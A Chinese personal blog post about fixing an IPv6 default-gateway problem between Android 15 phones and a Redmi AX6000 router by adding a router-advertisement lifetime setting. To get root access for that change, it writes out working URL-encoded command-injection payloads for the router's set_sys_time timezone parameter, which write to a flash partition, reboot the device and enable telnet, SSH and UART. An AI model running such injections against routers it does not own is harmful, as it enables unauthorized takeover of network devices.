修复 Redmi AX6000 IPv6 问题
背景
自从手机升级到安卓 15,在家里的 Wi-Fi 网络下就连不通 IPv6 了。实际表现是能获取 IPv6 地址,但是获取不到 IPv6 默认网关,于是无法通过 IPv6 联网。一番探究以后发现,罪魁祸首是家里这台 Redmi AX6000 路由器不标准的路由器通告(RA)。
在安卓 15 的兼容性定义文档里有这么一段:(Android 15 Compatibility Definition)
[C-0-5] Rate-limiting MUST NOT cause the device to lose IPv6 connectivity on any IPv6-compliant network that uses RA lifetimes of at least 180 seconds.
其实这段说明从安卓 6.0 开始到现在的安卓 16 都有,看来只是从安卓 15 开始,安卓系统会忽略生命周期小于 180s 的路由器通告,导致系统无法获取网关。安卓的 issue tracker 上能看到一些相关的报告:[Android 15] [Wi-Fi] Unable to open IPV6 website due to incorrect router lifetime settings in IPV6 RA,IPv6 RA with AdvDefaultLifetime less than 180s not accepted by Android。
小米官方对此的回应:(关于澎湃2.0-安卓15的ipv6)
Android15对IPv6租约时间过低有限制,有些不太规范的路由可能有点问题。后续OTA我们会优化这个问题。
显然是我这台路由器的 RA 报文存在问题。
回应的部门竟然是小米手机系统团队,而不是小米路由器团队,仿佛是默认全天下用小米路由器的都是小米手机。自从 2024 年 10 月安卓 15 正式发布,至今将近两年时间里小米路由器团队都没有做出任何回应,也没有推出任何固件更新,意见反馈也是石沉大海。
方案
对小米路由器有一些了解的人应该都知道,小米路由器的固件一般都是基于 OpenWrt 魔改的。所以如果能 SSH 进入路由器的话,修改一些配置应该就能解决问题吧!
果然有论坛老哥给出了解决方法:(安卓15无法使用ipv6的问题,本文适用进到SSH的路由器,澎湃os2遇上小米路由器时ipv6无法访问的解决方法)
vim /etc/config/dhcp
去看它的config dhcp ’lan’段落
直接加一行
option ra_lifetime ‘1800’
保存重启就可以了
够简单!只要能够解锁路由器的 SSH,就能轻易解决问题了。
(顺便一提,这里 ra_lifetime
使用的数值 1800 确实是 OpenWrt odhcpd 使用的默认值。)
解锁后台访问
巧的是,Redmi AX6000 有非常现成且简便的解锁 SSH/Telnet 的方法。参考:
- [OpenWrt Wiki] Xiaomi Redmi AX6000
- 【解锁SSH】红米Redmi AX6000开启并固化SSH、Telnet的简单方法(RB06)
- 【保姆级教程】红米AX6000永久获取SSH权限(Redmi AX6000)
首先利用 set_sys_time
脚本的 RCE 漏洞启用开发模式。登录路由器网页管理界面,从 URL 获取 stok
以后访问:(stok
填入 {token}
位置)
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20echo%20pVoAAA%3D%3D%20%7C%20base64%20-d%20%7C%20mtd%20write%20-%20crash%20%3B%20
timezone
参数传入的字符串为 ' ; echo pVoAAA== | base64 -d | mtd write - crash ;
,实际相当于把 \xa5\x5a\x00\x00
写入 crash
分区,启用开发者模式,这样接下来可以持久化地写入 bdata
分区。
网页会返回 {"code":0}
表示执行成功。
或者也可以访问:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20zz%3D%24%28dd%20if%3D%2Fdev%2Fzero%20bs%3D1%20count%3D2%202%3E%2Fdev%2Fnull%29%20%3B%20printf%20%27%A5%5A%25c%25c%27%20%24zz%20%24zz%20%7C%20mtd%20write%20-%20crash%20%3B%20
timezone
传入的字符串为 ' ; zz=$(dd if=/dev/zero bs=1 count=2 2>/dev/null) ; printf '¥Z%c%c' $zz $zz | mtd write - crash ;
,和上面的 URL 一样是用来写入魔法二进制字节,只是用了不同方法造字节串。
接着注入重启指令:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20
timezone
传入字符串为 ' ; reboot ;
,执行重启。完成重启后,我们就获得了 bdata
分区的写入能力。
重新登录,从 URL 获取新的 stok
。访问:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20set%20uart_en%3D1%20%3B%20bdata%20commit%20%3B%20
timezone
传入的字符串为 ' ; bdata set telnet_en=1 ; bdata set ssh_en=1 ; bdata set uart_en=1 ; bdata commit ;
,向 bdata
分区写入启用 Telnet、SSH 和 UART 的配置。
再一次注入重启指令,执行重启:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20
重启完成后,Telnet 就成功启用了。SSH 服务启动有一些额外判定,还需要后面更多操作才能启用。
此时可以直接 telnet 192.168.31.1
进入路由器后台了,在开发模式下无须密码。(所以为什么等下一定要记得关掉开发模式)
先执行 passwd root
更改 root 密码。不改的话,默认密码也可以在 miwifi.dev 通过路由器的 SN 码计算出来。
大部分教程在这一步会叫你向 nvram 写入“固化SSH”的配置(nvram set ssh_en=1; nvram set telnet_en=1; nvram set uart_en=1; nvram set boot_wait=on; nvram commit
),实际上好像并不需要。我的路由器默认 uart_en
和 boot_wait
均已启用,虽然 ssh_en
和 telnet_en
是 0,但实际上并不影响这两者的开启(我们这不是已经用上 Telnet 了吗)。按其他资料来看,“固化”其实是写入 bdata
分区,我们上一步就已经写好了。
接着复原现场,因为之前利用时区接口的漏洞破坏了相关设置,所以需要恢复时间设置:
1uci set system.@system[0].timezone='CST-8'
2uci set system.@system[0].webtimezone='CST-8'
3uci set system.@system[0].timezoneindex='2.84'
4uci commit
最后关闭开发模式并重启:
1mtd erase crash
2reboot
至此,我们已经拿到完整的后台 root 权限啦。telnet 192.168.31.1
输入 root 用户,使用默认密码或者刚才改过的密码就可以登录了。
用 Telnet 已经足够进行配置编辑了。不过 Telnet 没有加密,长期用的话确实是个安全隐患,最好是启用 SSH。打开 dropbear
SSH 服务的启动脚本,找到 start_service
函数:
1start_service()
2{
3 # 稳定版不能打开ssh服务
4 flg_ssh=`nvram get ssh_en`
5 channel=`/sbin/uci get /usr/share/xiaoqiang/xiaoqiang_version.version.CHANNEL`
6 if [ "$flg_ssh" != "1" -o "$channel" = "release" ]; then
7 return 0
8 fi
9
10 [ -s /etc/dropbear/dropbear_rsa_host_key ] || keygen
11
12 . /lib/functions.sh
13 . /lib/functions/network.sh
14
15 config_load "${NAME}"
16 config_foreach dropbear_instance dropbear
17}
拦路虎很明显是 if [ "$flg_ssh" != "1" -o "$channel" = "release" ]
,这里做了两个检查,一个是判断 nvram 的 ssh_en
是否启用,一个是判断当前固件是否为稳定版固件(可以参考这篇帖子)。很多教程费力启用 ssh_en
再用 sed 把 release
改掉,其实直接删掉这三行 if 块即可。
去除拦路虎以后,执行 /etc/init.d/dropbear start
就可以启动 dropbear
SSH 服务了。因为这还在使用过时的 ssh-rsa 算法,所以需要使用 ssh -oHostKeyAlgorithms=+ssh-rsa [email protected]
连接。输入默认 root 密码或者刚才改过的密码,就可以登录啦。
不过这样只是临时启动 SSH 而已。/etc/init.d/dropbear
重启以后就会重置,所以改动不是持久化的。想要开机自启动 SSH 的话,可以使用 lemoeo/AX6S 这个项目的 auto_ssh.sh
脚本。依照 README 下载后执行 ./auto_ssh.sh install
即可。(不过用 auto_ssh 的话就需要给 nvram 设置 ssh_en=1
了)
最后的最后,让我们完成一开始的目标:增加 ra_lifetime
配置。
用 Telnet 或者 SSH 登录,编辑 /etc/config/dhcp
,在 config dhcp 'lan'
块的最后增加 option ra_lifetime '1800'
,保存重启,大功告成。
打开手机验证一下,终于能够正确拿到 IPv6 网关地址了,test-ipv6 达成 10/10。
尾声
经历了团队重组的小米路由器,在几年(2020-2023?)的高光后,又回到了仿佛 2016-2019 年那段管生不管养的日子。对于路由器这种长寿命产品,后续维护的价值几乎可以超过产品本身。但是小米路由器既没有长期维护,系统也非常封闭,还得感谢社区的逆向工程才能彻底解放硬件。结合最近的一些硬件混用等新闻,几乎可以说是 Enshittification 了。
看来,以后路由器还是得选更专业、更开放的品牌啊。
#tech notes
2326 words